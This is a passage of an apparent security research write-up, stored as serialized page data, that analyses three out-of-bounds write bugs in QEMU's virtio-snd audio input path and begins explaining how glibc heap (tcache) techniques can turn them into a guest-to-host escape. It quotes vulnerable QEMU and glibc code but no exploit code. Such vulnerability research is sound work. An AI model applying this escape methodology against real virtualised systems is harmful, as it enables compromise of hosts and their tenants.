",{"type":21,"tag":66,"props":125966,"children":125968},{"className":125967},[],[125969],{"type":26,"value":124575},{"type":26,"value":11408},{"type":21,"tag":66,"props":125972,"children":125974},{"className":125973},[],[125975],{"type":26,"value":124592},{"type":26,"value":125977}," are the same guest-controlled fields from ",{"type":21,"tag":66,"props":125979,"children":125981},{"className":125980},[],[125982],{"type":26,"value":124227},{"type":26,"value":73},{"type":21,"tag":22,"props":125985,"children":125986},{},[125987,125989,125994,125996,126002,126004,126010,126012,126018],{"type":26,"value":125988},"Later, at ",{"type":21,"tag":66,"props":125990,"children":125992},{"className":125991},[],[125993],{"type":26,"value":124885},{"type":26,"value":125995},", the code checks whether ",{"type":21,"tag":66,"props":125997,"children":125999},{"className":125998},[],[126000],{"type":26,"value":126001},"buffer->size >= max_size",{"type":26,"value":126003},". In the RX path, ",{"type":21,"tag":66,"props":126005,"children":126007},{"className":126006},[],[126008],{"type":26,"value":126009},"buffer->size",{"type":26,"value":126011}," tracks how many bytes have been written into ",{"type":21,"tag":66,"props":126013,"children":126015},{"className":126014},[],[126016],{"type":26,"value":126017},"buffer->data",{"type":26,"value":126019},", not the size of the allocation itself. This check is therefore intended to stop reading once the buffer is full.",{"type":21,"tag":22,"props":126021,"children":126022},{},[126023,126025,126030,126032,126038,126040,126045,126047,126053],{"type":26,"value":126024},"However, this does not match the allocation logic in ",{"type":21,"tag":66,"props":126026,"children":126028},{"className":126027},[],[126029],{"type":26,"value":124227},{"type":26,"value":126031},", which used: ",{"type":21,"tag":66,"props":126033,"children":126035},{"className":126034},[],[126036],{"type":26,"value":126037},"size = iov_size(elem->in_sg, elem->in_num) - sizeof(virtio_snd_pcm_status);",{"type":26,"value":126039},". In other words, the allocation subtracts ",{"type":21,"tag":66,"props":126041,"children":126043},{"className":126042},[],[126044],{"type":26,"value":124951},{"type":26,"value":126046},", but the later bound in ",{"type":21,"tag":66,"props":126048,"children":126050},{"className":126049},[],[126051],{"type":26,"value":126052},"virtio_snd_pcm_in_cb",{"type":26,"value":126054}," does not. That mismatch gives us a second bug: an 8-byte OOB write.",{"type":21,"tag":22,"props":126056,"children":126057},{},[126058,126060,126065,126067,126073,126075,126081,126083,126088,126090,126096,126098,126104,126106,126111,126113,126118],{"type":26,"value":126059},"Finally, at ",{"type":21,"tag":66,"props":126061,"children":126063},{"className":126062},[],[126064],{"type":26,"value":124909},{"type":26,"value":126066},", the code calls ",{"type":21,"tag":66,"props":126068,"children":126070},{"className":126069},[],[126071],{"type":26,"value":126072},"AUD_read",{"type":26,"value":126074}," with the following limit:\n",{"type":21,"tag":66,"props":126076,"children":126078},{"className":126077},[],[126079],{"type":26,"value":126080},"MIN(available, stream->params.period_bytes - buffer->size)",{"type":26,"value":126082},". Notice how this bound does not take ",{"type":21,"tag":66,"props":126084,"children":126086},{"className":126085},[],[126087],{"type":26,"value":125954},{"type":26,"value":126089}," into account at all. That means if ",{"type":21,"tag":66,"props":126091,"children":126093},{"className":126092},[],[126094],{"type":26,"value":126095},"available",{"type":26,"value":126097}," is larger than the allocated buffer, and ",{"type":21,"tag":66,"props":126099,"children":126101},{"className":126100},[],[126102],{"type":26,"value":126103},"stream->params.period_bytes",{"type":26,"value":126105}," is also larger than the allocated buffer, ",{"type":21,"tag":66,"props":126107,"children":126109},{"className":126108},[],[126110],{"type":26,"value":126072},{"type":26,"value":126112}," will write past the end of ",{"type":21,"tag":66,"props":126114,"children":126116},{"className":126115},[],[126117],{"type":26,"value":126017},{"type":26,"value":126119}," - the third, and final, bug we found.",{"type":21,"tag":22,"props":126121,"children":126122},{},[126123,126125,126130,126132,126138],{"type":26,"value":126124},"Looking further at the code, we can see that ",{"type":21,"tag":66,"props":126126,"children":126128},{"className":126127},[],[126129],{"type":26,"value":126103},{"type":26,"value":126131}," is fully guest-controlled by issuing a ",{"type":21,"tag":66,"props":126133,"children":126135},{"className":126134},[],[126136],{"type":26,"value":126137},"VIRTIO_SND_R_PCM_SET_PARAMS",{"type":26,"value":126139}," request:",{"type":21,"tag":75,"props":126141,"children":126143},{"code":126142,"language":3918,"meta":7,"className":16935,"style":7},"static\nuint32_t virtio_snd_set_pcm_params(VirtIOSound *s,\n                                   uint32_t stream_id,\n                                   virtio_snd_pcm_set_params *params)\n{\n    virtio_snd_pcm_set_params *st_params;\n\n    [...]\n\n    st_params = virtio_snd_pcm_get_params(s, stream_id);\n\n    [...]\n\n    st_params->buffer_bytes = le32_to_cpu(params->buffer_bytes);\n    st_params->period_bytes = le32_to_cpu(params->period_bytes);\n    st_params->features = le32_to_cpu(params->features);\n    /* the following are uint8_t, so there's no need to bswap the values. */\n    st_params->channels = params->channels;\n    st_params->format = params->format;\n    st_params->rate = params->rate;\n\n    return cpu_to_le32(VIRTIO_SND_S_OK);\n}\n",[126144],{"type":21,"tag":66,"props":126145,"children":126146},{"__ignoreMap":7},[126147,126155,126184,126201,126221,126228,126245,126252,126259,126266,126288,126295,126302,126309,126355,126398,126442,126450,126487,126523,126559,126566,126583],{"type":21,"tag":85,"props":126148,"children":126149},{"class":87,"line":88},[126150],{"type":21,"tag":85,"props":126151,"children":126152},{"style":102},[126153],{"type":26,"value":126154},"static\n",{"type":21,"tag":85,"props":126156,"children":126157},{"class":87,"line":98},[126158,126162,126167,126172,126176,126180],{"type":21,"tag":85,"props":126159,"children":126160},{"style":102},[126161],{"type":26,"value":58390},{"type":21,"tag":85,"props":126163,"children":126164},{"style":1021},[126165],{"type":26,"value":126166}," virtio_snd_set_pcm_params",{"type":21,"tag":85,"props":126168,"children":126169},{"style":114},[126170],{"type":26,"value":126171},"(VirtIOSound ",{"type":21,"tag":85,"props":126173,"children":126174},{"style":169},[126175],{"type":26,"value":3052},{"type":21,"tag":85,"props":126177,"children":126178},{"style":120},[126179],{"type":26,"value":11067},{"type":21,"tag":85,"props":126181,"children":126182},{"style":114},[126183],{"type":26,"value":182},{"type":21,"tag":85,"props":126185,"children":126186},{"class":87,"line":151},[126187,126192,126197],{"type":21,"tag":85,"props":126188,"children":126189},{"style":102},[126190],{"type":26,"value":126191},"                                   uint32_t",{"type":21,"tag":85,"props":126193,"children":126194},{"style":120},[126195],{"type":26,"value":126196}," stream_id",{"type":21,"tag":85,"props":126198,"children":126199},{"style":114},[126200],{"type":26,"value":182},{"type":21,"tag":85,"props":126202,"children":126203},{"class":87,"line":160},[126204,126209,126213,126217],{"type":21,"tag":85,"props":126205,"children":126206},{"style":114},[126207],{"type":26,"value":126208},"                                   virtio_snd_pcm_set_params ",{"type":21,"tag":85,"props":126210,"children":126211},{"style":169},[126212],{"type":26,"value":3052},{"type":21,"tag":85,"props":126214,"children":126215},{"style":120},[126216],{"type":26,"value":98744},{"type":21,"tag":85,"props":126218,"children":126219},{"style":114},[126220],{"type":26,"value":2485},{"type":21,"tag":85,"props":126222,"children":126223},{"class":87,"line":185},[126224],{"type":21,"tag":85,"props":126225,"children":126226},{"style":114},[126227],{"type":26,"value":11296},{"type":21,"tag":85,"props":126229,"children":126230},{"class":87,"line":501},[126231,126236,126240],{"type":21,"tag":85,"props":126232,"children":126233},{"style":114},[126234],{"type":26,"value":126235},"    virtio_snd_pcm_set_params ",{"type":21,"tag":85,"props":126237,"children":126238},{"style":169},[126239],{"type":26,"value":3052},{"type":21,"tag":85,"props":126241,"children":126242},{"style":114},[126243],{"type":26,"value":126244},"st_params;\n",{"type":21,"tag":85,"props":126246,"children":126247},{"class":87,"line":697},[126248],{"type":21,"tag":85,"props":126249,"children":126250},{"emptyLinePlaceholder":16},[126251],{"type":26,"value":703},{"type":21,"tag":85,"props":126253,"children":126254},{"class":87,"line":706},[126255],{"type":21,"tag":85,"props":126256,"children":126257},{"style":114},[126258],{"type":26,"value":105263},{"type":21,"tag":85,"props":126260,"children":126261},{"class":87,"line":1100},[126262],{"type":21,"tag":85,"props":126263,"children":126264},{"emptyLinePlaceholder":16},[126265],{"type":26,"value":703},{"type":21,"tag":85,"props":126267,"children":126268},{"class":87,"line":1339},[126269,126274,126278,126283],{"type":21,"tag":85,"props":126270,"children":126271},{"style":114},[126272],{"type":26,"value":126273},"    st_params ",{"type":21,"tag":85,"props":126275,"children":126276},{"style":169},[126277],{"type":26,"value":741},{"type":21,"tag":85,"props":126279,"children":126280},{"style":1021},[126281],{"type":26,"value":126282}," virtio_snd_pcm_get_params",{"type":21,"tag":85,"props":126284,"children":126285},{"style":114},[126286],{"type":26,"value":126287},"(s, stream_id);\n",{"type":21,"tag":85,"props":126289,"children":126290},{"class":87,"line":1348},[126291],{"type":21,"tag":85,"props":126292,"children":126293},{"emptyLinePlaceholder":16},[126294],{"type":26,"value":703},{"type":21,"tag":85,"props":126296,"children":126297},{"class":87,"line":1386},[126298],{"type":21,"tag":85,"props":126299,"children":126300},{"style":114},[126301],{"type":26,"value":105263},{"type":21,"tag":85,"props":126303,"children":126304},{"class":87,"line":1394},[126305],{"type":21,"tag":85,"props":126306,"children":126307},{"emptyLinePlaceholder":16},[126308],{"type":26,"value":703},{"type":21,"tag":85,"props":126310,"children":126311},{"class":87,"line":1402},[126312,126317,126321,126326,126330,126335,126339,126343,126347,126351],{"type":21,"tag":85,"props":126313,"children":126314},{"style":120},[126315],{"type":26,"value":126316},"    st_params",{"type":21,"tag":85,"props":126318,"children":126319},{"style":114},[126320],{"type":26,"value":14175},{"type":21,"tag":85,"props":126322,"children":126323},{"style":120},[126324],{"type":26,"value":126325},"buffer_bytes",{"type":21,"tag":85,"props":126327,"children":126328},{"style":169},[126329],{"type":26,"value":1941},{"type":21,"tag":85,"props":126331,"children":126332},{"style":1021},[126333],{"type":26,"value":126334}," le32_to_cpu",{"type":21,"tag":85,"props":126336,"children":126337},{"style":114},[126338],{"type":26,"value":1439},{"type":21,"tag":85,"props":126340,"children":126341},{"style":120},[126342],{"type":26,"value":98744},{"type":21,"tag":85,"props":126344,"children":126345},{"style":114},[126346],{"type":26,"value":14175},{"type":21,"tag":85,"props":126348,"children":126349},{"style":120},[126350],{"type":26,"value":126325},{"type":21,"tag":85,"props":126352,"children":126353},{"style":114},[126354],{"type":26,"value":777},{"type":21,"tag":85,"props":126356,"children":126357},{"class":87,"line":3145},[126358,126362,126366,126370,126374,126378,126382,126386,126390,126394],{"type":21,"tag":85,"props":126359,"children":126360},{"style":120},[126361],{"type":26,"value":126316},{"type":21,"tag":85,"props":126363,"children":126364},{"style":114},[126365],{"type":26,"value":14175},{"type":21,"tag":85,"props":126367,"children":126368},{"style":120},[126369],{"type":26,"value":125775},{"type":21,"tag":85,"props":126371,"children":126372},{"style":169},[126373],{"type":26,"value":1941},{"type":21,"tag":85,"props":126375,"children":126376},{"style":1021},[126377],{"type":26,"value":126334},{"type":21,"tag":85,"props":126379,"children":126380},{"style":114},[126381],{"type":26,"value":1439},{"type":21,"tag":85,"props":126383,"children":126384},{"style":120},[126385],{"type":26,"value":98744},{"type":21,"tag":85,"props":126387,"children":126388},{"style":114},[126389],{"type":26,"value":14175},{"type":21,"tag":85,"props":126391,"children":126392},{"style":120},[126393],{"type":26,"value":125775},{"type":21,"tag":85,"props":126395,"children":126396},{"style":114},[126397],{"type":26,"value":777},{"type":21,"tag":85,"props":126399,"children":126400},{"class":87,"line":3246},[126401,126405,126409,126414,126418,126422,126426,126430,126434,126438],{"type":21,"tag":85,"props":126402,"children":126403},{"style":120},[126404],{"type":26,"value":126316},{"type":21,"tag":85,"props":126406,"children":126407},{"style":114},[126408],{"type":26,"value":14175},{"type":21,"tag":85,"props":126410,"children":126411},{"style":120},[126412],{"type":26,"value":126413},"features",{"type":21,"tag":85,"props":126415,"children":126416},{"style":169},[126417],{"type":26,"value":1941},{"type":21,"tag":85,"props":126419,"children":126420},{"style":1021},[126421],{"type":26,"value":126334},{"type":21,"tag":85,"props":126423,"children":126424},{"style":114},[126425],{"type":26,"value":1439},{"type":21,"tag":85,"props":126427,"children":126428},{"style":120},[126429],{"type":26,"value":98744},{"type":21,"tag":85,"props":126431,"children":126432},{"style":114},[126433],{"type":26,"value":14175},{"type":21,"tag":85,"props":126435,"children":126436},{"style":120},[126437],{"type":26,"value":126413},{"type":21,"tag":85,"props":126439,"children":126440},{"style":114},[126441],{"type":26,"value":777},{"type":21,"tag":85,"props":126443,"children":126444},{"class":87,"line":3255},[126445],{"type":21,"tag":85,"props":126446,"children":126447},{"style":92},[126448],{"type":26,"value":126449},"    /* the following are uint8_t, so there's no need to bswap the values. */\n",{"type":21,"tag":85,"props":126451,"children":126452},{"class":87,"line":3286},[126453,126457,126461,126466,126470,126475,126479,126483],{"type":21,"tag":85,"props":126454,"children":126455},{"style":120},[126456],{"type":26,"value":126316},{"type":21,"tag":85,"props":126458,"children":126459},{"style":114},[126460],{"type":26,"value":14175},{"type":21,"tag":85,"props":126462,"children":126463},{"style":120},[126464],{"type":26,"value":126465},"channels",{"type":21,"tag":85,"props":126467,"children":126468},{"style":169},[126469],{"type":26,"value":1941},{"type":21,"tag":85,"props":126471,"children":126472},{"style":120},[126473],{"type":26,"value":126474}," params",{"type":21,"tag":85,"props":126476,"children":126477},{"style":114},[126478],{"type":26,"value":14175},{"type":21,"tag":85,"props":126480,"children":126481},{"style":120},[126482],{"type":26,"value":126465},{"type":21,"tag":85,"props":126484,"children":126485},{"style":114},[126486],{"type":26,"value":2535},{"type":21,"tag":85,"props":126488,"children":126489},{"class":87,"line":3295},[126490,126494,126498,126503,126507,126511,126515,126519],{"type":21,"tag":85,"props":126491,"children":126492},{"style":120},[126493],{"type":26,"value":126316},{"type":21,"tag":85,"props":126495,"children":126496},{"style":114},[126497],{"type":26,"value":14175},{"type":21,"tag":85,"props":126499,"children":126500},{"style":120},[126501],{"type":26,"value":126502},"format",{"type":21,"tag":85,"props":126504,"children":126505},{"style":169},[126506],{"type":26,"value":1941},{"type":21,"tag":85,"props":126508,"children":126509},{"style":120},[126510],{"type":26,"value":126474},{"type":21,"tag":85,"props":126512,"children":126513},{"style":114},[126514],{"type":26,"value":14175},{"type":21,"tag":85,"props":126516,"children":126517},{"style":120},[126518],{"type":26,"value":126502},{"type":21,"tag":85,"props":126520,"children":126521},{"style":114},[126522],{"type":26,"value":2535},{"type":21,"tag":85,"props":126524,"children":126525},{"class":87,"line":3308},[126526,126530,126534,126539,126543,126547,126551,126555],{"type":21,"tag":85,"props":126527,"children":126528},{"style":120},[126529],{"type":26,"value":126316},{"type":21,"tag":85,"props":126531,"children":126532},{"style":114},[126533],{"type":26,"value":14175},{"type":21,"tag":85,"props":126535,"children":126536},{"style":120},[126537],{"type":26,"value":126538},"rate",{"type":21,"tag":85,"props":126540,"children":126541},{"style":169},[126542],{"type":26,"value":1941},{"type":21,"tag":85,"props":126544,"children":126545},{"style":120},[126546],{"type":26,"value":126474},{"type":21,"tag":85,"props":126548,"children":126549},{"style":114},[126550],{"type":26,"value":14175},{"type":21,"tag":85,"props":126552,"children":126553},{"style":120},[126554],{"type":26,"value":126538},{"type":21,"tag":85,"props":126556,"children":126557},{"style":114},[126558],{"type":26,"value":2535},{"type":21,"tag":85,"props":126560,"children":126561},{"class":87,"line":3333},[126562],{"type":21,"tag":85,"props":126563,"children":126564},{"emptyLinePlaceholder":16},[126565],{"type":26,"value":703},{"type":21,"tag":85,"props":126567,"children":126568},{"class":87,"line":3369},[126569,126573,126578],{"type":21,"tag":85,"props":126570,"children":126571},{"style":2885},[126572],{"type":26,"value":17411},{"type":21,"tag":85,"props":126574,"children":126575},{"style":1021},[126576],{"type":26,"value":126577}," cpu_to_le32",{"type":21,"tag":85,"props":126579,"children":126580},{"style":114},[126581],{"type":26,"value":126582},"(VIRTIO_SND_S_OK);\n",{"type":21,"tag":85,"props":126584,"children":126585},{"class":87,"line":3377},[126586],{"type":21,"tag":85,"props":126587,"children":126588},{"style":114},[126589],{"type":26,"value":2671},{"type":21,"tag":22,"props":126591,"children":126592},{},[126593,126595,126600,126602,126608,126610,126615,126617,126622,126624,126630,126631,126636],{"type":26,"value":126594},"Among the guest-controlled PCM parameters, format matters later for exploit reliability. For 8-bit PCM, QEMU accepts both unsigned (",{"type":21,"tag":66,"props":126596,"children":126598},{"className":126597},[],[126599],{"type":26,"value":4190},{"type":26,"value":126601},") and signed (",{"type":21,"tag":66,"props":126603,"children":126605},{"className":126604},[],[126606],{"type":26,"value":126607},"s8",{"type":26,"value":126609},") samples. They encode the same waveform differently - silence is ",{"type":21,"tag":66,"props":126611,"children":126613},{"className":126612},[],[126614],{"type":26,"value":29883},{"type":26,"value":126616}," in ",{"type":21,"tag":66,"props":126618,"children":126620},{"className":126619},[],[126621],{"type":26,"value":4190},{"type":26,"value":126623},", but ",{"type":21,"tag":66,"props":126625,"children":126627},{"className":126626},[],[126628],{"type":26,"value":126629},"0x00",{"type":26,"value":126616},{"type":21,"tag":66,"props":126632,"children":126634},{"className":126633},[],[126635],{"type":26,"value":126607},{"type":26,"value":73},{"type":21,"tag":19218,"props":126638,"children":126639},{},[],{"type":21,"tag":22,"props":126641,"children":126642},{},[126643],{"type":26,"value":126644},"To summarize:",{"type":21,"tag":841,"props":126646,"children":126647},{},[126648,126667,126685],{"type":21,"tag":845,"props":126649,"children":126650},{},[126651,126653,126658,126660,126665],{"type":26,"value":126652},"an integer underflow in the ",{"type":21,"tag":66,"props":126654,"children":126656},{"className":126655},[],[126657],{"type":26,"value":124722},{"type":26,"value":126659}," calculation in ",{"type":21,"tag":66,"props":126661,"children":126663},{"className":126662},[],[126664],{"type":26,"value":124227},{"type":26,"value":126666},", resulting in an 8-byte (or less) under-allocation",{"type":21,"tag":845,"props":126668,"children":126669},{},[126670,126672,126677,126678,126683],{"type":26,"value":126671},"a mismatch in the ",{"type":21,"tag":66,"props":126673,"children":126675},{"className":126674},[],[126676],{"type":26,"value":125954},{"type":26,"value":126659},{"type":21,"tag":66,"props":126679,"children":126681},{"className":126680},[],[126682],{"type":26,"value":126052},{"type":26,"value":126684},", leading to at most 8-byte OOB write",{"type":21,"tag":845,"props":126686,"children":126687},{},[126688,126690,126695,126697,126702,126704,126709],{"type":26,"value":126689},"a missing bound in the ",{"type":21,"tag":66,"props":126691,"children":126693},{"className":126692},[],[126694],{"type":26,"value":124722},{"type":26,"value":126696}," passed to ",{"type":21,"tag":66,"props":126698,"children":126700},{"className":126699},[],[126701],{"type":26,"value":126072},{"type":26,"value":126703},", which does not take the actual buffer allocation size into account and can therefore lead to an OOB write of an arbitrary length, up to ",{"type":21,"tag":66,"props":126705,"children":126707},{"className":126706},[],[126708],{"type":26,"value":126095},{"type":26,"value":82751},{"type":21,"tag":22,"props":126711,"children":126712},{},[126713,126715,126720,126722,126727,126729,126735],{"type":26,"value":126714},"In our exploit, we focus on the third bug because it provides the largest overflow and therefore the most useful primitive. In practice, the actual write is still bounded by ",{"type":21,"tag":66,"props":126716,"children":126718},{"className":126717},[],[126719],{"type":26,"value":126095},{"type":26,"value":126721},", but in our setup with the ALSA backend, ",{"type":21,"tag":66,"props":126723,"children":126725},{"className":126724},[],[126726],{"type":26,"value":126095},{"type":26,"value":126728}," was consistently around ",{"type":21,"tag":66,"props":126730,"children":126732},{"className":126731},[],[126733],{"type":26,"value":126734},"4096",{"type":26,"value":73},{"type":21,"tag":22,"props":126737,"children":126738},{},[126739,126741,126748,126749,126756],{"type":26,"value":126740},"It is also worth noting that the timing here was particularly unlucky - these bugs had been present in QEMU for over two years, but they were fixed (",{"type":21,"tag":335,"props":126742,"children":126745},{"href":126743,"rel":126744},"https://github.com/qemu/qemu/commit/bcb53328aa70023f1405fade4e253e7f77567261",[339],[126746],{"type":26,"value":126747},"commit 1",{"type":26,"value":256},{"type":21,"tag":335,"props":126750,"children":126753},{"href":126751,"rel":126752},"https://github.com/qemu/qemu/commit/7994203bb1b83a6604f3ab00fe9598909bb66164",[339],[126754],{"type":26,"value":126755},"commit 2",{"type":26,"value":126757},") in the very same week that we independently found them while manually reviewing the code.",{"type":21,"tag":54,"props":126759,"children":126760},{"id":100570},[126761],{"type":26,"value":100573},{"type":21,"tag":22,"props":126763,"children":126764},{},[126765],{"type":26,"value":126766},"Each of these bugs is in the audio input path. Since that audio input comes from the host side, the bytes written out of bounds are not controlled by the guest and, from the exploit perspective, can be treated as effectively random.",{"type":21,"tag":22,"props":126768,"children":126769},{},[126770],{"type":26,"value":126771},"This gives an interesting challenge: how do you exploit an out-of-bounds write when you do not control the data being written?",{"type":21,"tag":10022,"props":126773,"children":126775},{"id":126774},"achieving-a-better-primitive",[126776],{"type":26,"value":126777},"Achieving a Better Primitive",{"type":21,"tag":22,"props":126779,"children":126780},{},[126781],{"type":26,"value":126782},"The first idea that comes to mind is to target some kind of size or offset field. The goal is to make that field as small as possible initially, trigger the overflow, and rely on the corrupted bytes being larger than the original value. Such scenario would transform a weak primitive into a much more useful one, giving us a better starting point for the rest of the exploit.",{"type":21,"tag":22,"props":126784,"children":126785},{},[126786],{"type":26,"value":126787},"However, after searching QEMU for such objects we didn't find a suitable target. The main problem was that, in most cases, the field we wanted to corrupt was preceded by one or more pointers. That would have been acceptable if those pointers were unused, but in every candidate object we examined they were still live. As a result, the heap overflow would corrupt them with effectively random bytes, causing an invalid dereference and crashing QEMU before we could achieve our desired guest-to-host escape.",{"type":21,"tag":22,"props":126789,"children":126790},{},[126791],{"type":26,"value":126792},"At that point, we turned our attention to the glibc allocator. This is usually not the first choice in such targets - allocator techniques are often more version-specific and less portable than program-specific primitives (for example, type confusion on known object layouts). So allocator attacks are often a fallback once object-level paths are exhausted.",{"type":21,"tag":19318,"props":126794,"children":126796},{"id":126795},"glibc-allocator",[126797],{"type":26,"value":126798},"Glibc Allocator",{"type":21,"tag":22,"props":126800,"children":126801},{},[126802,126804,126811],{"type":26,"value":126803},"The glibc allocator has already been studied and documented extensively, so we will only cover the basics relevant to this exploit. A good resource for both current and older attack techniques is ",{"type":21,"tag":335,"props":126805,"children":126808},{"href":126806,"rel":126807},"https://github.com/shellphish/how2heap",[339],[126809],{"type":26,"value":126810},"how2heap",{"type":26,"value":73},{"type":21,"tag":37794,"props":126813,"children":126815},{"id":126814},"chunk-layout-and-bins",[126816],{"type":26,"value":126817},"Chunk Layout and Bins",{"type":21,"tag":22,"props":126819,"children":126820},{},[126821],{"type":26,"value":126822},"A chunk looks like this:",{"type":21,"tag":75,"props":126824,"children":126826},{"code":126825},"       +0x0          +0x8\n      +-------------+-------------+\n      |  prev_size  |    size     |\n      +---------------------------+\n+0x10 |  41 41 41 41 41 41 41 41  |\n      |                           |\n      |  41 41 41 41 41 41 41 41  |\n      |                           |\n      |           . . .           |\n",[126827],{"type":21,"tag":66,"props":126828,"children":126829},{"__ignoreMap":7},[126830],{"type":26,"value":126825},{"type":21,"tag":22,"props":126832,"children":126833},{},[126834,126836,126842,126844,126850,126851,126856,126857,126863,126865,126870,126872,126877,126879,126885,126886,126892,126894,126900],{"type":26,"value":126835},"The first 16 bytes form the chunk header. It consists of the ",{"type":21,"tag":66,"props":126837,"children":126839},{"className":126838},[],[126840],{"type":26,"value":126841},"prev_size",{"type":26,"value":126843}," field at offset ",{"type":21,"tag":66,"props":126845,"children":126847},{"className":126846},[],[126848],{"type":26,"value":126849},"0x0",{"type":26,"value":37998},{"type":21,"tag":66,"props":126852,"children":126854},{"className":126853},[],[126855],{"type":26,"value":124722},{"type":26,"value":126843},{"type":21,"tag":66,"props":126858,"children":126860},{"className":126859},[],[126861],{"type":26,"value":126862},"0x8",{"type":26,"value":126864},". As the name suggests, ",{"type":21,"tag":66,"props":126866,"children":126868},{"className":126867},[],[126869],{"type":26,"value":126841},{"type":26,"value":126871}," stores the size of the previous chunk and is only used when that chunk is free, while ",{"type":21,"tag":66,"props":126873,"children":126875},{"className":126874},[],[126876],{"type":26,"value":124722},{"type":26,"value":126878}," stores the size of the current chunk and three special bits of which ",{"type":21,"tag":66,"props":126880,"children":126882},{"className":126881},[],[126883],{"type":26,"value":126884},"PREV_INUSE",{"type":26,"value":11408},{"type":21,"tag":66,"props":126887,"children":126889},{"className":126888},[],[126890],{"type":26,"value":126891},"IS_MMAPPED",{"type":26,"value":126893}," are relevant for this blog post. The actual chunk data begins at offset ",{"type":21,"tag":66,"props":126895,"children":126897},{"className":126896},[],[126898],{"type":26,"value":126899},"0x10",{"type":26,"value":73},{"type":21,"tag":22,"props":126902,"children":126903},{},[126904],{"type":26,"value":126905},"Freed chunks are organized into different bins depending on their size and state. For this writeup, the important one is the per-thread cache, or tcache. Tcache stores recently freed chunks in size-segregated singly linked lists and is generally the first place glibc looks when servicing small allocations.",{"type":21,"tag":37794,"props":126907,"children":126909},{"id":126908},"free-path",[126910],{"type":26,"value":126911},"free() path",{"type":21,"tag":22,"props":126913,"children":126914},{},[126915,126917,126923],{"type":26,"value":126916},"Let’s first look at the ",{"type":21,"tag":66,"props":126918,"children":126920},{"className":126919},[],[126921],{"type":26,"value":126922},"free()",{"type":26,"value":126924}," path in glibc 2.40:",{"type":21,"tag":75,"props":126926,"children":126928},{"code":126927,"language":3918,"meta":7,"className":16935,"style":7},"__libc_free (void *mem)\n{\n  mstate ar_ptr;\n  mchunkptr p;\n\n  p = mem2chunk (mem);\n  if (chunk_is_mmapped (p))\n    {\n      munmap_chunk (p);\n    }\n  else\n    {\n      MAYBE_INIT_TCACHE ();\n\n      ar_ptr = arena_for_chunk (p);\n      _int_free (ar_ptr, p, 0);\n    }\n}\n",[126929],{"type":21,"tag":66,"props":126930,"children":126931},{"__ignoreMap":7},[126932,126960,126967,126975,126983,126990,127012,127033,127040,127053,127060,127068,127075,127088,127095,127116,127137,127144],{"type":21,"tag":85,"props":126933,"children":126934},{"class":87,"line":88},[126935,126940,126944,126948,126952,126956],{"type":21,"tag":85,"props":126936,"children":126937},{"style":1021},[126938],{"type":26,"value":126939},"__libc_free",{"type":21,"tag":85,"props":126941,"children":126942},{"style":114},[126943],{"type":26,"value":717},{"type":21,"tag":85,"props":126945,"children":126946},{"style":102},[126947],{"type":26,"value":52083},{"type":21,"tag":85,"props":126949,"children":126950},{"style":169},[126951],{"type":26,"value":10231},{"type":21,"tag":85,"props":126953,"children":126954},{"style":120},[126955],{"type":26,"value":41113},{"type":21,"tag":85,"props":126957,"children":126958},{"style":114},[126959],{"type":26,"value":2485},{"type":21,"tag":85,"props":126961,"children":126962},{"class":87,"line":98},[126963],{"type":21,"tag":85,"props":126964,"children":126965},{"style":114},[126966],{"type":26,"value":11296},{"type":21,"tag":85,"props":126968,"children":126969},{"class":87,"line":151},[126970],{"type":21,"tag":85,"props":126971,"children":126972},{"style":114},[126973],{"type":26,"value":126974},"  mstate ar_ptr;\n",{"type":21,"tag":85,"props":126976,"children":126977},{"class":87,"line":160},[126978],{"type":21,"tag":85,"props":126979,"children":126980},{"style":114},[126981],{"type":26,"value":126982},"  mchunkptr p;\n",{"type":21,"tag":85,"props":126984,"children":126985},{"class":87,"line":185},[126986],{"type":21,"tag":85,"props":126987,"children":126988},{"emptyLinePlaceholder":16},[126989],{"type":26,"value":703},{"type":21,"tag":85,"props":126991,"children":126992},{"class":87,"line":501},[126993,126998,127002,127007],{"type":21,"tag":85,"props":126994,"children":126995},{"style":114},[126996],{"type":26,"value":126997},"  p ",{"type":21,"tag":85,"props":126999,"children":127000},{"style":169},[127001],{"type":26,"value":741},{"type":21,"tag":85,"props":127003,"children":127004},{"style":1021},[127005],{"type":26,"value":127006}," mem2chunk",{"type":21,"tag":85,"props":127008,"children":127009},{"style":114},[127010],{"type":26,"value":127011}," (mem);\n",{"type":21,"tag":85,"props":127013,"children":127014},{"class":87,"line":697},[127015,127019,127023,127028],{"type":21,"tag":85,"props":127016,"children":127017},{"style":2885},[127018],{"type":26,"value":31839},{"type":21,"tag":85,"props":127020,"children":127021},{"style":114},[127022],{"type":26,"value":717},{"type":21,"tag":85,"props":127024,"children":127025},{"style":1021},[127026],{"type":26,"value":127027},"chunk_is_mmapped",{"type":21,"tag":85,"props":127029,"children":127030},{"style":114},[127031],{"type":26,"value":127032}," (p))\n",{"type":21,"tag":85,"props":127034,"children":127035},{"class":87,"line":706},[127036],{"type":21,"tag":85,"props":127037,"children":127038},{"style":114},[127039],{"type":26,"value":29630},{"type":21,"tag":85,"props":127041,"children":127042},{"class":87,"line":1100},[127043,127048],{"type":21,"tag":85,"props":127044,"children":127045},{"style":1021},[127046],{"type":26,"value":127047},"      munmap_chunk",{"type":21,"tag":85,"props":127049,"children":127050},{"style":114},[127051],{"type":26,"value":127052}," (p);\n",{"type":21,"tag":85,"props":127054,"children":127055},{"class":87,"line":1339},[127056],{"type":21,"tag":85,"props":127057,"children":127058},{"style":114},[127059],{"type":26,"value":507},{"type":21,"tag":85,"props":127061,"children":127062},{"class":87,"line":1348},[127063],{"type":21,"tag":85,"props":127064,"children":127065},{"style":2885},[127066],{"type":26,"value":127067},"  else\n",{"type":21,"tag":85,"props":127069,"children":127070},{"class":87,"line":1386},[127071],{"type":21,"tag":85,"props":127072,"children":127073},{"style":114},[127074],{"type":26,"value":29630},{"type":21,"tag":85,"props":127076,"children":127077},{"class":87,"line":1394},[127078,127083],{"type":21,"tag":85,"props":127079,"children":127080},{"style":1021},[127081],{"type":26,"value":127082},"      MAYBE_INIT_TCACHE",{"type":21,"tag":85,"props":127084,"children":127085},{"style":114},[127086],{"type":26,"value":127087}," ();\n",{"type":21,"tag":85,"props":127089,"children":127090},{"class":87,"line":1402},[127091],{"type":21,"tag":85,"props":127092,"children":127093},{"emptyLinePlaceholder":16},[127094],{"type":26,"value":703},{"type":21,"tag":85,"props":127096,"children":127097},{"class":87,"line":3145},[127098,127103,127107,127112],{"type":21,"tag":85,"props":127099,"children":127100},{"style":114},[127101],{"type":26,"value":127102},"      ar_ptr 